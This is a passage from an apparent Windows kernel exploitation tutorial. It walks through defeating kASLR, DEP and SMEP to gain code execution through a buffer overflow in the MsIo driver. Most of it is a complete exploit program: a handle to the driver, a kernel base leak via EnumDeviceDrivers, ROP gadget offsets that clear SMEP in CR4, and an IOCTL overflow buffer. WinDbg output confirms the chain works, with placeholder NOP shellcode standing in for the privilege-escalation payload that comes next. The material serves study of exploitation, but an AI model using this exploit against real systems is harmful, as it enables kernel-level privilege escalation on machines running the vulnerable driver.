kASLR

kASLR (Kernel Address Space Layout Randomization) is a security feature that randomises the kernel's memory layout to try and mitigate exploitation techniques.

To create our ROP chain we need to defeat kASLR. When we are running code in medium integrity we can call the EnumDeviceDrivers Win32 API.

In our exploit code we need to add the psapi.h header:

#include <psapi.h>

The EnumDeviceDrivers Win32 API retrieves the loaded address for each device driver in the system. Luckily for us the kernel module is the first that is loaded:

#define ARRAY_SIZE 1024

uint64_t GetKernelBase()
{
    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (uint64_t)drivers[0];
}

The GetKernelBase() function retrieves the base address of the kernel module in memory.

It uses the EnumDeviceDrivers function to enumerate the loaded device drivers and retrieves the base addresses of the drivers into the drivers array. The function then returns the base address of the first driver, which is assumed to be the kernel module.

We can take this base address and add our offsets we discovered in the previous section to create our rop gadgets:

// get the kernel base address
uint64_t kernelBase = GetKernelBase();
printf("[+] Kernel base is: 0x%p\n", kernelBase);

// rop gadgets
uint64_t POP_RCX = kernelBase + 0x3c66ce;
uint64_t MOV_CR4_RCX = kernelBase + 0x3d6325;

The exploit buffer can be formed as such:

// index for rop chain
uint64_t index = 0;

// the exploit buffer
char buffer[len];
memset(buffer, 0x41, len);

// get a pointer to the offset for the rop chain
uint64_t* rop = (uint64_t*)((uint64_t)buffer + offset);

// the rop chain
*(rop + index++) = POP_RCX;
*(rop + index++) = (uint64_t)0x050678;
*(rop + index++) = MOV_CR4_RCX;

// the return address to our shellcode
*(rop + index++) = (uint64_t)alloc;

In this code snippet, the ROP chain is being constructed in the buffer array. The index variable on line 2 keeps track of the current index in the ROP chain.

First, the rop pointer is calculated (on line 9) by adding the offset value to the base address of buffer. This points to the location in the buffer where the ROP chain will be constructed.

Next, specific ROP gadgets are placed in the ROP chain, lines 12 through 14.

The return address to the alloc shellcode is set in the ROP chain on lin 17.

Debugging

We can debug our exploit so far. If we have defeated kASLR, DEP and SMEP we should be able to execute our shellcode, albeit a chain of nop instructions.

The entire code is shown below:

#include <iostream>
#include <windows.h>
#include <psapi.h>

#define MSIO_SYM_LINK "\\\\.\\MsIo"

#define ARRAY_SIZE 1024

uint64_t GetKernelBase()
{
  LPVOID drivers[ARRAY_SIZE];
  DWORD cbNeeded;
  EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);

  return (uint64_t)drivers[0];
}

int main()
{
  // get a handle to the driver using the Symbolic link
  HANDLE hDevice = CreateFileA(MSIO_SYM_LINK, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

  // if CreateFileA fails the handle will be -0x1
  if (hDevice == (HANDLE)-0x1)
  {
    printf("[+] Driver handle: 0x%p\n", hDevice);
    printf("[!] Unable to get a handle to the driver.\n");
    return 1;
  }
  else
  {
    // the IOCTL code
    unsigned int ioCode = 0x80102040;
    // the overflow offset
    const size_t offset = 72;

    // 8 instructions
    const unsigned char shellcode[8] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xcc };

    // allocate memory for the shellcode
    LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!alloc)
    {
    printf("[!] Unable to allocate memory for the shellcode. Error code: %d\n", GetLastError());
    return 1;
    }

    printf("[+] Memory allocated: 0x%p\n", alloc);
    
    // copy the shellcode in to the memory
    RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
    printf("[+] Shellcode copied to: 0x%p\n", alloc);

    // get the kernel base address
    uint64_t kernelBase = GetKernelBase();
    printf("[+] Kernel base is: 0x%p\n", kernelBase);

    // the rop gadgets
    uint64_t POP_RCX = kernelBase + 0x3c66ce;
    uint64_t MOV_CR4_RCX = kernelBase + 0x3d6325;

    // index for rop chain
    uint64_t index = 0;

    // the exploit buffer
    char buffer[250];
    memset(buffer, 0x41, 250);

    // get a pointer to the offset for the rop chain
    uint64_t* rop = (uint64_t*)((uint64_t)buffer + offset);

    // the rop chain
    *(rop + index++) = POP_RCX;
    *(rop + index++) = (uint64_t)0x050678;
    *(rop + index++) = MOV_CR4_RCX;

    // the return address to our shellcode
    *(rop + index++) = (uint64_t)alloc;

    printf("[!] Press enter when ready...");
    getchar();

    // send the buffer
    DWORD bytesRet;
    DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, 250, NULL, 0, &bytesRet, NULL);
  }
  
  return 0;
}

Compile the code, copy it to the target host, ensure the driver is running and attach the debugger.

We are going to step through the ROP chain, first we can add a breakpoint to our first gadget. Break into the host and add the following breakpoint:

0: kd> bp nt+0x3c66ce

Continue the debugger with the g command, then run the exploit on the target host, the breakpoint should get hit:

0: kd> g
Breakpoint 0 hit
nt!KiCalibrateTimeAdjustment+0xea:
fffff802`550526ce 59              pop     rcx

Enter the p command twice to execute our first gadget then examine the rcx register:

1: kd> r rcx
rcx=0000000000050678

We can see that our intender cr4 value has been placed in rcx. Next, look at the value in cr4:

1: kd> r cr4
cr4=00000000001506f8

As expected, this shows that SMEP is enabled. Enter the p command twice to execute our second gadget then re-examine the cr4 register:

1: kd> r cr4
cr4=0000000000050678

This shows that SMEP has been disabled. If we look at the next instruction we will observe that our shellcode in user mode is about to be executed:

1: kd> u rip
000002b5`67f90000 90              nop
000002b5`67f90001 90              nop
000002b5`67f90002 90              nop
000002b5`67f90003 90              nop
000002b5`67f90004 90              nop
000002b5`67f90005 90              nop
000002b5`67f90006 90              nop
000002b5`67f90007 cc              int     3

Press g to continue, and the debugger should hit our int3 breakpoint:

1: kd> g
Break instruction exception - code 80000003 (first chance)
000002b5`67f90007 cc              int     3

This is good news! We have defeated DEP, kASLR and SMEP to execute our shellcode in user space. All we have left to do is to exploit this with some privilege escalation shellcode.

We will need to reboot the target host, if we continue execution the OS will crash. Issue the .reboot command to reboot the OS.

Demo

Work in progress

Last updated